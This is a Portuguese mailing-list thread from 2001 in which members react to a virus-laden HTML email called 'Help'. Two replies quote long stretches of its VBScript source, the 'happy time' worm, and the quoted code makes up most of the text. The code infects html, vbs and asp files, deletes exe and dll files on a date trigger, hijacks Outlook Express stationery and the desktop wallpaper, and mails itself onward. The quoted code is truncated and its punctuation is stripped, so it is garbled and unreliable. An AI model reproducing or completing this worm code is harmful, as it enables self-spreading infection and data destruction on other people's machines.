Re: Help (Por Favor não mandem email html!!!!!)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Wed, 19 Dec 2001, Philipe Gaspar wrote: Pessoal! Eu não sou programador, apesar de ter feitos alguns programas em VB, mas isto aqui é *só* html??? []s Ricardo Castanho Em Tuesday 18 December 2001 23:56, Javier Farian escreveu: HTMLHEAD Title Help /Title/HEAD Body script language='VBScript' Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject(Scriptlet.TypeLib) Set Oh = CreateObject(Shell.Application) If IsHTML Then mURL = LCase(document.Location) If mPath = Then Os.Reset Os.Path = C:\Help.htm Os.Doc = Lhtml() Os.Write() Ihtml = span style='position:absolute'Iframe src='C:\Help.htm' width='0' height='0'/Iframe/span Call document.Body.insertAdjacentHTML(AfterBegin, Ihtml) Else If Iv(mPath, Help.vbs) Then setInterval Rt(), 1 Else m = hta If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout(mclose(), 1) main Else Os.Reset() Os.Path = mPath \ Help.hta Os.Doc = Lhtml() Os.write() Iv mPath, Help.hta End If End If End If Else main End If End Sub Sub main() On Error Resume Next Set Of = CreateObject(Scripting.FileSystemObject) Set Od = CreateObject(Scripting.Dictionary) Od.Add html, 1100 Od.Add vbs, 0100 Od.Add htm, 1100 Od.Add asp, 0010 Ks = HKEY_CURRENT_USER\Software\ Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists(C:\help.htm) Then Of.DeleteFile (C:\help.htm) End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then Od.RemoveAll Od.Add exe, 0001 Od.Add dll, 0001 End If Cn = Rg(Ks Help\Count) If Cn = Then Cn = 1 End If Rw Ks Help\Count, Cn + 1 f1 = Rg(Ks Help\FileName) f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks Help\FileName, f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks Help\FileName, f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname) LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg(HKEY_CURRENT_USER\Control Panel\desktop\wallPaper) If Rg(Ks Help\wallPaper) wp Or wp = Then If wp = Then n1 = n3 = Cs \Help.htm Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs \ n2 .htm End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa(1100) pfc.Write HTML body bgcolor='#007f7f' background=' n1 ' /Body /HTML mt pfc.Close Rw Ks Help\wallPaper, n3 Rw HKEY_CURRENT_USER\Control Panel\desktop\wallPaper, n3 End If Else Set fc = Of.CreateTextFile(Ds \Help.vbs, True) fc.Write Sa(0100) fc.Close bf = Cs \Untitled.htm Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg(HKEY_CURRENT_USER\Identities\Default User ID) oe = HKEY_CURRENT_USER\Identities\ oeid \Software\Microsoft\Outlook Express\5.0\Mail MSH = oe \Message Send HTML CUS = oe \Compose Use Stationery SN = oe \Stationery Name Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs \WEB Set gf = Of.GetFolder(Web).Files Od.Add htt, 1100 For Each m In gf fext = GetExt(Of, Od, m) If fext Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write titleI am sorry!/title window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, Help.vbs End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = % VBSText % End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = Rem I am sorry! happy time If InStr(S, mN) 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, ) End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m) Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End
Re: Help (Por Favor não mandem email html!!!!!)
On Wed, 19 Dec 2001 19:19:45 -0200 (BRST) Ricardo Castanho de O. Freitas [EMAIL PROTECTED] wrote: Pessoal! Eu não sou programador, apesar de ter feitos alguns programas em VB, mas isto aqui é *só* html??? não, e pra quer citar a mensagem toda de novo? vocês estão querendo entupir a banda de todo mundo com essa porcaria? =P regra básica: cite apenas o que for importante para acompanhar o progresso da discussão ou que for relevante ao que você vai dizer isso é vbscript []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: Help (Por Favor não mandem email html!!!!!)
Em Tuesday 18 December 2001 23:56, Javier Farian escreveu: HTMLHEAD Title Help /Title/HEAD Body script language='VBScript' Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject(Scriptlet.TypeLib) Set Oh = CreateObject(Shell.Application) If IsHTML Then mURL = LCase(document.Location) If mPath = Then Os.Reset Os.Path = C:\Help.htm Os.Doc = Lhtml() Os.Write() Ihtml = span style='position:absolute'Iframe src='C:\Help.htm' width='0' height='0'/Iframe/span Call document.Body.insertAdjacentHTML(AfterBegin, Ihtml) Else If Iv(mPath, Help.vbs) Then setInterval Rt(), 1 Else m = hta If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout(mclose(), 1) main Else Os.Reset() Os.Path = mPath \ Help.hta Os.Doc = Lhtml() Os.write() Iv mPath, Help.hta End If End If End If Else main End If End Sub Sub main() On Error Resume Next Set Of = CreateObject(Scripting.FileSystemObject) Set Od = CreateObject(Scripting.Dictionary) Od.Add html, 1100 Od.Add vbs, 0100 Od.Add htm, 1100 Od.Add asp, 0010 Ks = HKEY_CURRENT_USER\Software\ Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists(C:\help.htm) Then Of.DeleteFile (C:\help.htm) End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then Od.RemoveAll Od.Add exe, 0001 Od.Add dll, 0001 End If Cn = Rg(Ks Help\Count) If Cn = Then Cn = 1 End If Rw Ks Help\Count, Cn + 1 f1 = Rg(Ks Help\FileName) f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks Help\FileName, f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks Help\FileName, f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname) LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg(HKEY_CURRENT_USER\Control Panel\desktop\wallPaper) If Rg(Ks Help\wallPaper) wp Or wp = Then If wp = Then n1 = n3 = Cs \Help.htm Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs \ n2 .htm End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa(1100) pfc.Write HTML body bgcolor='#007f7f' background=' n1 ' /Body /HTML mt pfc.Close Rw Ks Help\wallPaper, n3 Rw HKEY_CURRENT_USER\Control Panel\desktop\wallPaper, n3 End If Else Set fc = Of.CreateTextFile(Ds \Help.vbs, True) fc.Write Sa(0100) fc.Close bf = Cs \Untitled.htm Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg(HKEY_CURRENT_USER\Identities\Default User ID) oe = HKEY_CURRENT_USER\Identities\ oeid \Software\Microsoft\Outlook Express\5.0\Mail MSH = oe \Message Send HTML CUS = oe \Compose Use Stationery SN = oe \Stationery Name Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs \WEB Set gf = Of.GetFolder(Web).Files Od.Add htt, 1100 For Each m In gf fext = GetExt(Of, Od, m) If fext Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write titleI am sorry!/title window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, Help.vbs End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = % VBSText % End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = Rem I am sorry! happy time If InStr(S, mN) 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, ) End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m) Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then m = Of.GetDriveName(Ppath) Pnext = Dnext(Of, m)
Re: Help (Por Favor não mandem email html!!!!!)
On Wed, 19 Dec 2001 01:29:03 -0200 Philipe Gaspar [EMAIL PROTECTED] wrote: Hau Philipe, citar a mensagem toda não ajudou muito a evitar os estragos feitos pela mensagem html com vírus =( []s! -- Gustavo Noronha Silva - kov http://www.metainfo.org/kov *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+ | .''`. | Debian GNU/Linux: http://www.debian.org | | : :' : + Debian BR...: http://debian-br.cipsga.org.br+ | `. `'` + Q: Why did the chicken cross the road? + | `-| A: Upstream's decision. -- hmh | *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
Re: Help (Por Favor não mandem email html!!!!!)
Em Wednesday 19 December 2001 02:35, Gustavo Noronha Silva escreveu: On Wed, 19 Dec 2001 01:29:03 -0200 Philipe Gaspar [EMAIL PROTECTED] wrote: Hau Philipe, citar a mensagem toda não ajudou muito a evitar os estragos feitos pela mensagem html com vírus =( Pelo menos chamou a atenção ;) []s! -- Philipe Gaspar aka kr0n. Unix SysAdmin [EMAIL PROTECTED]
